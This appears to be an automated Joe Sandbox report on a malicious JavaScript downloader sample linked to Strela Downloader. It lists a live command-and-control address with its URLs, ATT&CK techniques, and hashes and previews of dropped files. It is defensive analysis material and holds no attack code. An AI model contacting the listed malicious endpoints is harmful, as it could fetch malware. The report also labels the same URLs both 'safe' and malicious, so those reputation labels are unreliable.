DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/r0_	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000007.00000002.2182029050.000001A27FC28000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2182129001.00000230D92C0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3419989163.00000230D9400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/r0_	net.exe, 00000007.00000002.2182029050.000001A27FC51000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/0	net.exe, 00000007.00000002.2182029050.000001A27FC28000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2182029050.000001A27FC7C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182029050.000001A27FC28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182029050.000001A27FC51000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590030
Start date and time:	2025-01-13 13:54:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	15994293462788625581.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 50.16.47.176, 18.213.11.84, 34.237.241.83, 54.224.241.105, 172.64.41.3, 162.159.61.3, 184.28.90.27, 2.22.242.11, 2.22.242.123, 2.23.197.184, 2.16.168.107, 2.16.168.105, 23.209.213.129, 13.107.246.45, 20.12.23.50, 173.222.162.64, 23.56.162.204
Excluded domains from analysis (whitelisted): www.bing.com, e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
07:55:03	API Interceptor	22x Sleep call for process: powershell.exe modified
07:55:06	API Interceptor	1x Sleep call for process: net.exe modified
07:55:06	API Interceptor	2x Sleep call for process: svchost.exe modified
07:55:19	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	3041621112067010510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4208093227073.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14137177262856222939.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1972921391166218927.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	29522576223272839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1329220172182926612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2816632483050917528.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	29112223682907312977.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	179861427815317256.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16910148382611315301.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	3041621112067010510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4208093227073.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32230219901300318079.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	14137177262856222939.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1972921391166218927.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2165116371124411090.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	29522576223272839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1528915004169812209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1329220172182926612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2816632483050917528.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263340392927656
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0M:9JZj5MiKNnNhoxud
MD5:	FCBF409A89D363FB911F268AFB7EEFB1
SHA1:	63484C3934712CCE8B9553059D49A938F9914161
SHA-256:	B5B15A0FBA99C1F1BD71D41B986BAE2AC824CCD0C52E2D2E723B4C85D698CF00
SHA-512:	3F521075FCE4FEADBB332016277D8CB1DB26B69EB5BA25510905EA54CEDE945E6D70AED1DB404978059DFD7C1785EFDEAA79444688BEBB66B09007255961BD28
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x8c1a5191, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.755552471765977
Encrypted:	false
SSDEEP:	1536:FSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:FazaSvGJzYj2UlmOlOL
MD5:	85D6F91F7176F5CD3DDCC0CE5472F78B
SHA1:	CD417A6F199AE198505519969D91E4CAD2AAB289
SHA-256:	E457601CA05441D6EE006BAFC96DA50EBC8A6C51D77468F56A0052111ABCB545
SHA-512:	6888B55AB8DDE3517A1FA78C13A360FCDA6EAD22B9C393EA933D3F2A192E4577970B40BD5B06ECCDB9693AAA18BA9A6AF7D3EABC6D2C37FA743F4F58C6E5A208
Malicious:	false
Preview:	..Q.... .......7.......X\...;...{......................0.e......!...{?..7...}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{..................................{....7...}.....................?.7...}#..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07954473944742216
Encrypted:	false
SSDEEP:	3:dl6YeV1C7vfNaAPaU1l9aTtlalluxmO+l/SNxOf:dUzV1kNDPaUlaRAgmOH
MD5:	B9A9D8AAC57C59583F7401147E655D5E
SHA1:	296846C96B9529ACDD48421E8545330B0AA7091B
SHA-256:	582BA5CCDD458B1BCC6C55ACCC45E5718C3540799F222F970D4083DACEB9AF49
SHA-512:	85DDA7D62485658A603FA489C1962D07AD961263107866D2BEC8FCC8091C99A7FBF1E9401ECFEBC4B584D52A7F022F33A257CDBF480C6D90BFDCCB90F3CDFDBF
Malicious:	false
Preview:	.........................................;...{...7...}#..!...{?..........!...{?..!...{?..g...!...{?....................?.7...}#.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.248147644988946
Encrypted:	false
SSDEEP:	6:iOrl5/XAQ+q2PN72nKuAl9OmbnIFUthl5ZAgZmwvl5ZAQVkwON72nKuAl9OmbjLJ:7Bp4vVaHAahFUt//J/t/D5OaHAaSJ
MD5:	CE158E543DACAFC315B78F1590D6B8E2
SHA1:	1A17712B87443C3AF2C4310D0D06FBF66D3D512B
SHA-256:	173A21E4F148A62DE23F25B4CB740E9CF2A62CDD40BEA965D2C18C5F99ABE78E
SHA-512:	046ED1339B8CC9D321611E0F10057DA67C85A4FE1ED526E7E3A524E0680CC19AD546E1F671771C5C70AD2FC9B4A58E9CFE057FD110552752288F5DA561554F63
Malicious:	false
Preview:	2025/01/13-07:55:06.694 b98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/13-07:55:06.696 b98 Recovering log #3.2025/01/13-07:55:06.696 b98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.248147644988946
Encrypted:	false
SSDEEP:	6:iOrl5/XAQ+q2PN72nKuAl9OmbnIFUthl5ZAgZmwvl5ZAQVkwON72nKuAl9OmbjLJ:7Bp4vVaHAahFUt//J/t/D5OaHAaSJ
MD5:	CE158E543DACAFC315B78F1590D6B8E2
SHA1:	1A17712B87443C3AF2C4310D0D06FBF66D3D512B
SHA-256:	173A21E4F148A62DE23F25B4CB740E9CF2A62CDD40BEA965D2C18C5F99ABE78E
SHA-512:	046ED1339B8CC9D321611E0F10057DA67C85A4FE1ED526E7E3A524E0680CC19AD546E1F671771C5C70AD2FC9B4A58E9CFE057FD110552752288F5DA561554F63
Malicious:	false
Preview:	2025/01/13-07:55:06.694 b98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/13-07:55:06.696 b98 Recovering log #3.2025/01/13-07:55:06.696 b98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.184324594956808
Encrypted:	false
SSDEEP:	6:iOrlDq2PN72nKuAl9Ombzo2jMGIFUthlcdZmwvlcqkwON72nKuAl9Ombzo2jMmLJ:7BDvVaHAa8uFUt/cd/tcq5OaHAa8RJ
MD5:	B197E519CB55EF2C5BC2DA157F6940D9
SHA1:	89EA650B07C1EB265107F124F585CAC652533B5E
SHA-256:	76DB9BC57AFB3C92A749B044F7DD2042988A1895F6C126C9504D1EB45C787AA4
SHA-512:	83CEBC593C67D3A5D3E98DFC8D20455EBCEBB8C4C1FE41B3FD7ECE4C2BCD7EAC518548C03616AFC979B1A553F0631CEB179A21F2E0CA1A8B9FD25DF32EB758C8
Malicious:	false
Preview:	2025/01/13-07:55:06.736 3b4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/13-07:55:06.741 3b4 Recovering log #3.2025/01/13-07:55:06.742 3b4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.184324594956808
Encrypted:	false
SSDEEP:	6:iOrlDq2PN72nKuAl9Ombzo2jMGIFUthlcdZmwvlcqkwON72nKuAl9Ombzo2jMmLJ:7BDvVaHAa8uFUt/cd/tcq5OaHAa8RJ
MD5:	B197E519CB55EF2C5BC2DA157F6940D9
SHA1:	89EA650B07C1EB265107F124F585CAC652533B5E
SHA-256:	76DB9BC57AFB3C92A749B044F7DD2042988A1895F6C126C9504D1EB45C787AA4
SHA-512:	83CEBC593C67D3A5D3E98DFC8D20455EBCEBB8C4C1FE41B3FD7ECE4C2BCD7EAC518548C03616AFC979B1A553F0631CEB179A21F2E0CA1A8B9FD25DF32EB758C8
Malicious:	false
Preview:	2025/01/13-07:55:06.736 3b4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/13-07:55:06.741 3b4 Recovering log #3.2025/01/13-07:55:06.742 3b4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\5cee4ae7-c8f7-4ab6-a248-7a9bc9be53df.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.961257153594436
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqMsBdOg2Htcaq3QYiubcP7E4T3y:Y2sRdskdMHc3QYhbA7nby
MD5:	40433815B3189ACE5D087A40AB517D23
SHA1:	D97F7B637E484DD6D31BDC9ADCD71D6C6F524D60
SHA-256:	B6A6509191D684DA5F786E3F2DA420A518A88D03F2629C537618CD4978ECACA6
SHA-512:	837F6B0B9920687E91D265F70FA05791417603248320A581BBD307D5F3025922A522AA3F67DBB5D94E11AA663FF389AC5506509762DC1B299E15910EC0EA7981
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381332919565737","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":143573},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.961257153594436
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqMsBdOg2Htcaq3QYiubcP7E4T3y:Y2sRdskdMHc3QYhbA7nby
MD5:	40433815B3189ACE5D087A40AB517D23
SHA1:	D97F7B637E484DD6D31BDC9ADCD71D6C6F524D60
SHA-256:	B6A6509191D684DA5F786E3F2DA420A518A88D03F2629C537618CD4978ECACA6
SHA-512:	837F6B0B9920687E91D265F70FA05791417603248320A581BBD307D5F3025922A522AA3F67DBB5D94E11AA663FF389AC5506509762DC1B299E15910EC0EA7981
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381332919565737","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":143573},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.256348485512427
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE78o4zR:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhG
MD5:	4EE0C623C1C2415F004232E763E10E6A
SHA1:	7A6E7BD1828D1DD57C29A12FB19BCFF5ED5B44F6
SHA-256:	2F02F18C0125AA18C0538E93FBD337DA1BC6D4ADC887D1F8B153ABE42700D4A3
SHA-512:	727D40E531096E3060E987F8665519A87D59D944DB45F30CD69201F320A7AE7492B3AEF488A38436BD071C57C07CCA89BA311A2BBF8004F038236D05E5666A5D
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.203064454338392
Encrypted:	false
SSDEEP:	6:iOrl3EIq2PN72nKuAl9OmbzNMxIFUthl3cWdZmwvl3cWvkwON72nKuAl9OmbzNMT:7B39vVaHAa8jFUt/3cWd/t3cWv5OaHAo
MD5:	DE216E228C39D2AA4B23B2DDC0C303EE
SHA1:	D87372CEC7E69BB255A6419365FB228DDE878C4D
SHA-256:	E1D0C48EDB4C86A645F2227621BFF40C324E8FF2227EBA166DBBFCA78DDC84B7
SHA-512:	7508EFCAA0C612A9482F785B7651A711F8DFB4ED7A4BC61BEABA169C3B57CD9843FBE743E5A97EEB30E9F3A7A6EB95867D7F81DB57337B4292DBB0ED067DAFD0
Malicious:	false
Preview:	2025/01/13-07:55:06.882 3b4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/13-07:55:06.883 3b4 Recovering log #3.2025/01/13-07:55:06.883 3b4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.203064454338392
Encrypted:	false
SSDEEP:	6:iOrl3EIq2PN72nKuAl9OmbzNMxIFUthl3cWdZmwvl3cWvkwON72nKuAl9OmbzNMT:7B39vVaHAa8jFUt/3cWd/t3cWv5OaHAo
MD5:	DE216E228C39D2AA4B23B2DDC0C303EE
SHA1:	D87372CEC7E69BB255A6419365FB228DDE878C4D
SHA-256:	E1D0C48EDB4C86A645F2227621BFF40C324E8FF2227EBA166DBBFCA78DDC84B7
SHA-512:	7508EFCAA0C612A9482F785B7651A711F8DFB4ED7A4BC61BEABA169C3B57CD9843FBE743E5A97EEB30E9F3A7A6EB95867D7F81DB57337B4292DBB0ED067DAFD0
Malicious:	false
Preview:	2025/01/13-07:55:06.882 3b4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/13-07:55:06.883 3b4 Recovering log #3.2025/01/13-07:55:06.883 3b4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444843368034213
Encrypted:	false
SSDEEP:	384:ye6ci5tSlmk8iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mSlmkbs3OazzU89UTTgUL
MD5:	505833BA56646C0D7E9D81E4D9189911
SHA1:	4E35020BBCD19C84D19B3B819F44F58B68F6CB32
SHA-256:	F6B49BCBE0222C7F7413FF3299CC92FDA8C4F0CF9F61F3223C381742B1E9B574
SHA-512:	681E101B368E659F56369CFF925ADDB425069A46C41D3698651AAB241F2ECAB7BFE5FD1D970469EBD72620C074BCA96C67A86118915CB13AC0CD1D2644582435
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7701535321648247
Encrypted:	false
SSDEEP:	48:7MxJioyVi8ioyZpoy1C7oy16oy1nNKOioy1noy1AYoy1Wioy1oioykioyBoy1nob:7yJui8O2c/XjBiaRb9IVXEBodRBkfD
MD5:	B213C63AEB70889BAFC7DC44064626FE
SHA1:	4FAAFE2B943689D655FC897D6E0B085055275503
SHA-256:	3E48B9B4C3F8E5257AE8AB12C3165A87CFFD74D74E41A48E41BF85B69FC7FC92
SHA-512:	A16300A12A5BBE95C2EF64542DD57F8C81475CC586EAA455DF3D7C49023FB3DA6D598C6EC583E06458C76DA66A956668524E67D02ECB61CCC5B9803592CD2908
Malicious:	false
Preview:	.... .c........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.736068239839641
Encrypted:	false
SSDEEP:	3:kkFkltx/ltfllXlE/HT8k11hvNNX8RolJuRdxLlGB9lQRYwpDdt:kKieT88jVNMa8RdWBwRd
MD5:	1E0E24F635679A20B1F3A4FA0F5E4353
SHA1:	69BD8530FCF8518F3293F25A6C51E91362B32E85
SHA-256:	51F1D260CC9044CB9210FC9B09F04672C5DACEABFBFF42FBE35FE506BD1D37A2
SHA-512:	7D7E7306DE475EFC6958EB0679137D51BC21827160B402EE4E0D5AEC3801468582F0F136262DCF88078068FCD2C1BE87F93521ECA5C46ACB191A400AC538C735
Malicious:	false
Preview:	p...... .........X.f.e..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
